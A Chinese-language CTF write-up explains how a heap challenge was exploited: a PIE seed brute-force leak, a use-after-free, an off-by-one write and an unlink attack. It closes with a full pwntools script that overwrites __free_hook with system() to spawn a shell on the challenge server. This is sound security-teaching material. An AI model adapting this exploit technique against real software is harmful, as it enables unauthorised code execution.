作者:Hcamael@知道創宇404實驗室
發布時間:2017-11-03

前幾天做了看雪ctf的一道pwn題,但是工作比較忙,一直沒時間寫wp,今天有空了,把wp補上

據說這題出題人出題失誤,導致題目難度大大下降,預期是house_of_orange的,但是利用unlink就能做了

獲取ELF基地址

程序中有一個猜隨機數的功能,代碼大致邏輯如下:

*seed = &seed;
srand(&seed);
......
v1 = rand();
puts("Please input the number you guess:");
printf("> ");
if ( v1 == sub_AFA() )
    result = printf("G00dj0b!You get a secret: %ld!\n", *&seed);
else
    result = printf("Wr0ng answer!The number is %d!\n", v1);
return result;

.bss:0000000000202148 seed

使用seed變量的地址作為偽隨機數生成器的種子, 因為這個程序開啟了PIE保護,所以實際上每次程序運行,種子都是不一樣的, 然后隨機生成一個數讓你猜,猜對了告訴你種子,猜錯了告訴你這個隨機數

如果我們能得到種子,因為ELF基地址和seed地址的偏移值是固定的,所以我們就能算出ELF的基地址了

然后去翻閱了下random的源碼:https://code.woboq.org/userspace/glibc/stdlib/random.c.html

207 void __srandom (unsigned int x)
209 {
210     __libc_lock_lock (lock);
211    (void) __srandom_r (x, &unsafe_state);
212    __libc_lock_unlock (lock);
213 }
214
215 weak_alias (__srandom, srandom)
216 weak_alias (__srandom, srand)

發現,__srandom的參數是無符號整型,長度只有32bit

雖然開了PIE,但ELF的基地址因為系統頁對其的原因,最后12bit固定是0,所以,我們只需要爆破20bit,這是非常容易的,下面是部分payload代碼:

def get_rand_num():
    guess_num(123)
    r.readuntil("is ")
    random_num = int(r.readuntil("!")[:-1])
    return random_num

def get_elf_base(random_num):
    guess_num(random_num)
    r.readuntil("secret:")
    elf_base = int(r.readuntil("!")[:-1])
    return elf_base-seed_address

def guest(random_num):
    seed_base = 0x202148
    libc = cdll.LoadLibrary("libc.so.6")
    for x in xrange(0x10000000, 0xfffff000, 0x1000):
        libc.srand(x+seed_base)
        if libc.rand() == random_num:
            next_randnum = libc.rand()
            break
    return next_randnum

def main():
    random_num = get_rand_num()
    next_randnum = guest(random_num)
    elf_base = get_elf_base(next_randnum)
    print "get ELF base address: 0x%x"%elf_base

因為python的random和c的是不一樣的,所以這里使用ctypes去調用libc中的random

ELF中的漏洞

最關鍵的一個就是有一個bool標志位,默認值是0,表示該box沒有malloc,當malloc后標志位會設置為1,但是當free后,卻沒有把標志位清零,這就導致可以無限free,一個被free的box,也可以修改和輸出box的內容

另一個關鍵的漏洞是修改box內容的函數中存在off by one

for ( i = 0; dword_202090[v3] >= i; ++i )
{
    read(0, &buf, 1uLL);
    if ( buf == 10 )
        break;
        *(i + qword_202100[v3]) = buf;
}

如果長度有24的box,卻可以輸入25個字符

還有一個也算漏洞的是再show message函數中,輸出使用了puts,輸出是根據\x00判斷結尾,而不是長度,而在修改message的函數中也沒有在用戶輸入的數據結尾加\x00,所以有可能導致信息泄露,不過這個漏洞對我來說不重要,我的利用方法中,不包含其信息泄露的利用

獲取LIBC基地址

泄露LIBC地址的思路很簡單,上面說了當一個box被free后因為標志位沒有被清零,所以任然可以往里面寫數據,輸出數據。

如果我們free一個非fast chunk的chunk,也就是說free一個chunk size大于maxfastsize的chunk,將會和unsortbin形成雙鏈表,這個時候的結構如下:

這個時候fd和bk都指向arena中的top_chunk指針,我們能通過輸出該box獲取到該地址,然后根據偏移值計算出libc的基地址,部分代碼如下:

def get_libc_base():
    free_box(3)
    show_message(3)
    data = r.readuntil("You")[:-3].strip()
    top = u64(data+"\x00\x00")
    return top - top_chunk

def main():
    ....
    create_box(1, 24)
    create_box(2, 168)
    create_box(3, 184)
    create_box(4, 200)
    libc_base = get_libc_base()

    print "get libc base address: 0x%x"%libc_base

free的那個box不能是最后一個chunk,否則會和top chunk合并

網上很多unlink的文章,我就不細說了,簡單的來說就是要過一個判斷,執行一個指令

需要過一個判斷:

P->fd->bk == P
P->bk->fd == P

執行一個指令

FD = P->fd
BK = P->bk
FD->bk = BK
BK->fd = FD

當利用之前的代碼,泄露完libc地址后,堆布局是這樣的:

0x555555757410: 0x0000000000000000  0x0000000000000021   <- box1
0x555555757420: 0x0000000000000000  0x0000000000000000
0x555555757430: 0x0000000000000000  0x00000000000000b1   <- box2
0x555555757440: 0x0000000000000000  0x0000000000000000
0x555555757450: 0x0000000000000000  0x0000000000000000
0x555555757460: 0x0000000000000000  0x0000000000000000
0x555555757470: 0x0000000000000000  0x0000000000000000
0x555555757480: 0x0000000000000000  0x0000000000000000
0x555555757490: 0x0000000000000000  0x0000000000000000
0x5555557574a0: 0x0000000000000000  0x0000000000000000
0x5555557574b0: 0x0000000000000000  0x0000000000000000
0x5555557574c0: 0x0000000000000000  0x0000000000000000
0x5555557574d0: 0x0000000000000000  0x0000000000000000
0x5555557574e0: 0x0000000000000000  0x00000000000000c1    <- box3
0x5555557574f0: 0x00007ffff7dd1b78  0x00007ffff7dd1b78
0x555555757500: 0x0000000000000000  0x0000000000000000
0x555555757510: 0x0000000000000000  0x0000000000000000
0x555555757520: 0x0000000000000000  0x0000000000000000
0x555555757530: 0x0000000000000000  0x0000000000000000
0x555555757540: 0x0000000000000000  0x0000000000000000
0x555555757550: 0x0000000000000000  0x0000000000000000
0x555555757560: 0x0000000000000000  0x0000000000000000
0x555555757570: 0x0000000000000000  0x0000000000000000
0x555555757580: 0x0000000000000000  0x0000000000000000
0x555555757590: 0x0000000000000000  0x0000000000000000
0x5555557575a0: 0x00000000000000c0  0x00000000000000d0    <- box4
0x5555557575b0: 0x0000000000000000  0x0000000000000000
0x5555557575c0: 0x0000000000000000  0x0000000000000000

然后在.bss段有個地方儲存著box的地址:

pwndbg> x/6gx 0x202100+0x555555554000
0x555555756100: 0x0000000000000000  0x0000555555757420
0x555555756110: 0x0000555555757440  0x5555557574f0
0x555555756120: 0x00005555557575b0  0x0000000000000000

因為在free box函數的代碼中,有一個判斷:

if ( !dword_202130[v1] || dword_2020B0[v1] )
    return puts("You can not destroy the box!");

而dword_2020B0是已經初始化過,然后沒有代碼修改過的變量

.data:00000000002020B0 dword_2020B0      dd 2 dup(1), 2 dup(0), 2 dup(1)

擴展開了就是[1, 1, 0, 0, 1, 1]

所以只有2, 3兩個box能被free

在之前已經free過了box3,如果再次free box3,無法觸發unlink操作,unlink操作只有在前一個或者后一個chunk未被使用時才會觸發,所以我們需要通過free box2來進行觸發unlink操作

通過leave message函數來構造一個堆結構:

pwndbg> x/64gx 0x555555757410
0x555555757410: 0x0000000000000000  0x0000000000000021
0x555555757420: 0x0000000000000000  0x0000000000000000
0x555555757430: 0x0000000000000000  0x00000000000000c1    修改長度為0xc1
0x555555757440: 0x0000000000000000  0x0000000000000000
0x555555757450: 0x0000000000000000  0x0000000000000000
0x555555757460: 0x0000000000000000  0x0000000000000000
0x555555757470: 0x0000000000000000  0x0000000000000000
0x555555757480: 0x0000000000000000  0x0000000000000000
0x555555757490: 0x0000000000000000  0x0000000000000000
0x5555557574a0: 0x0000000000000000  0x0000000000000000
0x5555557574b0: 0x0000000000000000  0x0000000000000000
0x5555557574c0: 0x0000000000000000  0x0000000000000000
0x5555557574d0: 0x0000000000000000  0x0000000000000000
0x5555557574e0: 0x0000000000000000  0x00000000000000c1
0x5555557574f0: 0x00007ffff7dd1b78  0x00000000000000b1     構造成一個新的堆,長度為0xb1
0x555555757500: 0x0000555555756100  0x0000555555756108     構造fd和bk
0x555555757510: 0x0000000000000000  0x0000000000000000
0x555555757520: 0x0000000000000000  0x0000000000000000
0x555555757530: 0x0000000000000000  0x0000000000000000
0x555555757540: 0x0000000000000000  0x0000000000000000
0x555555757550: 0x0000000000000000  0x0000000000000000
0x555555757560: 0x0000000000000000  0x0000000000000000
0x555555757570: 0x0000000000000000  0x0000000000000000
0x555555757580: 0x0000000000000000  0x0000000000000000
0x555555757590: 0x0000000000000000  0x0000000000000000
0x5555557575a0: 0x00000000000000b0  0x00000000000000d0      修改prev_size為0xb0
0x5555557575b0: 0x0000000000000000  0x0000000000000000
0x5555557575c0: 0x0000000000000000  0x0000000000000000
0x5555557575d0: 0x0000000000000000  0x0000000000000000
0x5555557575e0: 0x0000000000000000  0x0000000000000000
0x5555557575f0: 0x0000000000000000  0x0000000000000000
0x555555757600: 0x0000000000000000  0x0000000000000000

構造了一個fd和bk指向存儲box 地址的.bss段,這樣就能構成一個雙鏈表,bypass unlink的check:

P->fd->bk == P
P->bk->fd == P

不過這個時候如果free box2,會報錯退出,報錯的內容是 free(): corrupted unsorted chunks

去源碼中搜一下該error的check:

4248  bck = unsorted_chunks(av);
4249  fwd = bck->fd;
4250  if (__glibc_unlikely (fwd->bk != bck))
4251      malloc_printerr ("free(): corrupted unsorted chunks")

bck指向unsortbin,所以fwd指向box3,然而box3的bk已經被構造成了新chunk的size位,所以報錯退出了

這個時候只需要在free box2之前,malloc一個box5,這樣將會把unsortbin中的box3分類到smallbin中,從而bypass unsortbin check

利用

在free box2之后,內存大致如下:

pwndbg> x/6gx 0x202100+0x555555554000
0x555555756100: 0x0000000000000000 0x0000555555757420
0x555555756110: 0x0000555555757440 0x0000555555756100
0x555555756120: 0x00005555557575b0 0x0000555555757680

box3的地址已經指向該bss段,從而我們已經可以做到任意地址寫了

我的利用思路是,把box 2修改為free_hook的地址,然后把box 0修改為/bin/sh\0正好8byte,這樣box 3就是一個/bin/sh字符串了

我們只需要在free_hook中寫上system的地址,調用free(box 3),則相當于調用system("/bin/sh\0"),從而達到getshell

完整payload如下:

from pwn import *
from ctypes import cdll

DEBUG = 1

if DEBUG:
    context.log_level = "debug"
    r = process("./club")
    e = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    r = remote("123.206.22.95", 8888)
    e = ELF("./libc.so.6")

malloc_hook = e.symbols['__malloc_hook']
free_hook = e.symbols['__free_hook']
system_address = e.symbols['system']
top_chunk = malloc_hook + 0x68
seed_address = 0x202148
addr_list = 0x202100
one_gadget = 0xf0274
puts_got = 0x202028

def create_box(n, l):
    r.readuntil(">")
    r.sendline("1")
    r.readuntil(">")
    r.sendline(str(n))
    r.readuntil(">")
    r.sendline(str(l))

def free_box(n):
    r.readuntil(">")
    r.sendline("2")
    r.readuntil(">")
    r.sendline(str(n))

def leave_message(n, msg):
    r.readuntil(">")
    r.sendline("3")
    r.readuntil(">")
    r.sendline(str(n))
    r.sendline(msg)

def show_message(n):
    r.readuntil(">")
    r.sendline("4")
    r.readuntil(">")
    r.sendline(str(n))

def guess_num(n):
    r.readuntil(">")
    r.sendline("5")
    r.readuntil(">")
    r.sendline(str(n))

def get_rand_num():
    guess_num(123)
    r.readuntil("is ")
    random_num = int(r.readuntil("!")[:-1])
    return random_num

def guest(random_num):
    seed_base = 0x202148
    libc = cdll.LoadLibrary("libc.so.6")
    for x in xrange(0x10000000, 0xfffff000, 0x1000):
        libc.srand(x+seed_base)
        if libc.rand() == random_num:
            next_randnum = libc.rand()
            break
    return next_randnum

def get_elf_base(random_num):
    guess_num(random_num)
    r.readuntil("secret:")
    elf_base = int(r.readuntil("!")[:-1])
    return elf_base-seed_address

def get_libc_base():
    free_box(3)
    show_message(3)
    data = r.readuntil("You")[:-3].strip()
    top = u64(data+"\x00\x00")
    return top - top_chunk

def main():
    random_num = get_rand_num()
    next_randnum = guest(random_num)
    elf_base = get_elf_base(next_randnum)
    print "get ELF base address: 0x%x"%elf_base
    create_box(1, 24)
    create_box(2, 168)
    create_box(3, 184)
    create_box(4, 200)
    libc_base = get_libc_base()
    create_box(5, 300)
    print "get libc base address: 0x%x"%libc_base
    set_list2_size = p64(0xc1)*3 + "\xc1"
    leave_message(1, set_list2_size)
    set_list3 = p64(0) + p64(0xb1) + p64(elf_base+addr_list) + p64(elf_base+addr_list+8)
    set_list3 += "a"*0x90+p64(0xb0)
    leave_message(3, set_list3)
    free_box(2)
    write_address_list = "/bin/sh\x00" + "a"*8 + p64(libc_base+free_hook)
    leave_message(3, write_address_list)
    leave_message(2, p64(libc_base+system_address))
    free_box(3)
    # leave_message(3, "aaaaaaaa")
    # show_message(3)
    r.interactive()


if __name__ == '__main__':
    main()

總結

unlink原理很早我就知道了,但是卻是第一次實踐,理論和實際還是差很大的,所以我踩了挺多的坑,花了挺多的時間

我還考慮過fastbin的double free的利用,但是失敗了......


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/447/